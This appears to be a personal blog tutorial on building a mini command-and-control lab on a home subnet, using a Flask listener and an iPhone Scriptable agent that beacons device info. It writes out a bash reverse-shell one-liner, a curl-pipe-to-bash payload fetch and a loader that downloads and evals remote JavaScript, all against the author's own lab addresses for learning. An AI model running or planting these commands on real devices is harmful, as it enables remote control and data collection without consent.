Post

Turn Your Subnet Into a Battlefield - Building a Real Mini C2 Setup

This blog walks through the second phase of my custom subnet project - building a working mini Command & Control (C2) infrastructure. Use Python's Flask as the controller and an iPhone as the agent, which reports back with heartbeat packets and identity info via HTTP. You'll learn beaconing, payload hosting, agent scripting via Scriptable, and how to simulate real pentest techniques without needing jailbroken devices or external tools. A pure LAN C2 lab.

Turn Your Subnet Into a Battlefield - Building a Real Mini C2 Setup

💣 What is C2 (Command & Control)?

🧠 C2 = Command and Control Server

The brain behind a botnet, reverse shell, or remote implant 🧠

🔗 A system where one machine (the controller) issues commands and receives responses from another machine (the agent or implant), usually stealthily and often remotely.

Think of it like:

  • 🎮 Controller = Hacker
  • 🕹️ Agent = Hacked device, beaconing back to the controller

Used by red teamers, pentesters, and… real hackers too:

  • 💬 Victim machine: “Hey C2, I’m online. Got any jobs?”
  • 🧠 C2 server: “Run this script, send me screenshots, keystrokes, etc.”

🧠 What Makes It a C2?

ElementMeaning
📡 Communication ChannelCould be HTTP, TCP, DNS, reverse shell, VPN, or even USB tether
🗣️ One side gives ordersController sends commands (run script, scan network, exfil data)
👂 Other side respondsThe agent performs and reports back (via HTTP POST, TCP connection, etc.)
🕵️ Usually hiddenUses encryption, domain fronting, obfuscation, NAT traversal, etc.
🔄 Can be two-waySome advanced C2s allow live shells, file upload/download, persistence setup

So after creating our own subnet, we are just in Phase 1: Secure Subnet Lab

You’re not in a full-blown C2 - yet
But you’re in C2-capable infrastructure.
Like… if you dropped a script on the iPhone that beaconed to laptop every 60s via HTTP or DNS?

🎯 THEN you’ve got a real C2.


Mission - Heartbeat Packets

“Build a tiny HTTP-based agent that checks in to your laptop hotspot and sends heartbeat packets”

💡 What is a Beacon (in C2)?

In C2 (Command & Control), beaconing means:

✉️ A client machine (the agent) quietly “calls home” to the controller (your laptop) at regular intervals.

This “call” is usually:

  • 📡 An HTTP/HTTPS request
  • 🔂 Repeating every few seconds or minutes
  • 🕵️‍♀️ Invisible to the user
  • 🔍 Potentially carrying system info, GPS, files, commands, etc.

So a “heartbeat packet” is a tiny signal like:

1
2
3
POST /heartbeat HTTP/1.1
Host: 192.168.66.66
Data: {"status":"alive","device":"iPhone"}

✅ Imagine This Setup

ComponentDevice
C2 ServerYour laptop, running a simple Python Flask listener (or HTTP server)
AgentYour iPhone, sending regular HTTP requests (maybe via Shortcuts, app, or browser background tab)
LinkYour hotspot, custom /29 LAN

Boom. You have a mini C2.


🧪 Simple Python Flask Server (laptop side)

1
2
3
4
5
6
7
8
9
10
11
12
# server.py
from flask import Flask, request

app = Flask(__name__)

@app.route('/heartbeat', methods=['POST'])
def heartbeat():
    data = request.json
    print(f"[+] Heartbeat from: {data}")
    return "ACK", 200

app.run(host='0.0.0.0', port=9999)

Run it on laptop:

1
python3 server.py

📱 Now the Agent (iPhone side)

You can use:

  • iOS Shortcuts to send POST requests every 10s
  • Or install scriptable from app store - it’s JavaScript on iOS with access to networking:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let url = "http://192.168.66.66:9999/heartbeat"
let payload = {
  status: "alive",
  device: "iPhone"
}

let headers = {
  "Content-Type": "application/json"
}

let req = new Request(url)
req.method = "POST"
req.headers = headers
req.body = JSON.stringify(payload)

await req.load()

💡 You can even build a Scriptable widget to run this every time you tap it - or schedule with Background refresh, though that’s limited on iOS.

Then every time you tap it, you will get:

1
2
[+] Heartbeat from: {'status': 'alive', 'device': 'iPhone'}
192.168.66.68 - - [21/May/2025 11:26:04] "POST /heartbeat HTTP/1.1" 200 -

on your laptop terminal.
And iPhone is now sending back heartbeat packets via HTTP like it’s in a blacksite LAN.


💣 Exploit Delivery in Pentests

💬 Exploit delivery in pentests - host payloads or reverse shells locally

This refers to a common technique in hacking/pentesting:

🎯 You (the attacker) host a file on your own machine (e.g., now laptop) like:

  • A Python payload
  • A malicious .exe / .apk
  • A reverse shell script (e.g. bash -i >& /dev/tcp/192.168.66.66/4444 0>&1)

And then the target device (iPhone, a victim VM, or anything inside your LAN) downloads and executes that payload.

🔥 Real Example You Could Do Now:

1
2
# On laptop
python3 -m http.server --bind 192.168.66.66 8080

Then you place payload.sh or shell.py in that directory.

On the iPhone or another connected device, you could:

1
curl http://192.168.66.66:8080/payload.sh | bash

✅ BOOM - Exploit delivered. Shell pops back.

This is literally how Cobalt Strike, Metasploit, and manual red-teamers do it.


🧠 So now laptop becomes the command hub for devices connected to it

💬 What this means:

You’re turning your laptop box into a local C2 server that:

  • Assigns IPs
  • Hosts payloads
  • Receives beacon traffic (like heartbeats or data)
  • Can issue commands back
  • Can redirect, NAT, and isolate

Right now your hotspot is a local Command Hub.
Every device (like iPhone) is:

  • NAT’d through you
  • Receives DHCP leases from you
  • Can only talk to the internet if you allow it
  • Can beacon back to you like an agent

That’s what a C2 Infrastructure does in real-world red team ops.


🤔 New Mission - Run whoami on the agent, and send me the result

🔍 How CAN we simulate whoami on iOS?

We fake it.

❓ What “whoami” usually gives:

Returns current user the system sees as active.

In iOS:

  • It’ll always be “mobile” or “root” (if jailbroken)
  • But you can’t get it unless you’re inside a true shell

🔎 What we can do instead:

GoalWorkaround
Get device nameDevice.name() or Device.model() in Scriptable
Get network IPUse URL call to whatismyip, or local interface scan
Get locationLocation.current()
Get system statusBattery level, charging, brightness, etc.
Emulate “whoami”Return your own agent identity info

💡 Example: Fake whoami result from Scriptable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(async () => {
  let name = Device.name();
  let model = Device.model();
  let battery = await Device.batteryLevel();

  let whoami = {
    device_name: name,
    model: model,
    battery_percent: Math.floor(battery * 100) + "%"
  };

  let url = "http://192.168.66.66:9999/heartbeat";
  let req = new Request(url);
  req.method = "POST";
  req.headers = {"Content-Type": "application/json"};
  req.body = JSON.stringify(whoami);
  await req.load();
})();

We’d expect this will POST:

1
2
3
4
5
{
  "device_name": "my iPhone",
  "model": "iPhone 15",
  "battery_percent": "79%"
}

Which is a better than whoami C2 fingerprint. 😺

💡 This creates an immediately-invoked async function - a trick we use all the time in Scriptable to use await.


✅ Test Flow:

1️⃣ Put the JS file on laptop:

1
nano ~/Downloads/fake_whoami.js

Paste the fixed code above 👆 Save it.

2️⃣ Confirm http.server is still serving the file:

1
python3 -m http.server 8080 --bind 192.168.66.66

3️⃣ Confirm Flask listener is still waiting on port 9999.

1
python3 server.py

4️⃣ Run this Scriptable loader on iPhone:

1
2
3
4
let url = "http://192.168.66.66:8080/Downloads/fake_whoami.js";
let req = new Request(url);
let code = await req.loadString();
eval(code);

5️⃣ WATCH. THE. FLASK. TERMINAL. POP. OFF:

1
2
[+] Heartbeat from: {'device_name': 'iPhone', 'model': 'iPhone', 'battery_percent': '75%'}
192.168.66.68 - - [21/May/2025 12:24:13] "POST /heartbeat HTTP/1.1" 200 -

and meanwhile another terminal with python3 -m http.server --bind 192.168.66.66 8080 would be like

1
192.168.66.68 - - [21/May/2025 12:24:13] "GET /Downloads/fake_whoami.js HTTP/1.1" 200 -

🔫 Mission Accomplished

TaskReality
🌀 Hosted payloadOwn live implant distribution server (8080)
📲 Deployed agentiPhone fetched, executed, and self-identified
🔁 BeaconedPOSTed live heartbeat packets back to you
🧠 You logged itReal-time tracking. Name, model, battery, subnet address.
📡 Over a subnet YOU controlhotspot is now your field command cell

💖 Support me with crypto or PayPal! 💘

💵 USDT (TRC20):
TJCANuMYSdgLKRKnpCtscXrS5NgDbBAvF9

🟠 Bitcoin (BTC):
bc1qrc9vhrrhnc9v9s9q9rjn24aj608j44p5hzsxft

Or support me on Ko-fi:

Support me on Ko-fi

Any amount helps me continue creating content 💬💻

This post is licensed under CC BY 4.0 by the author.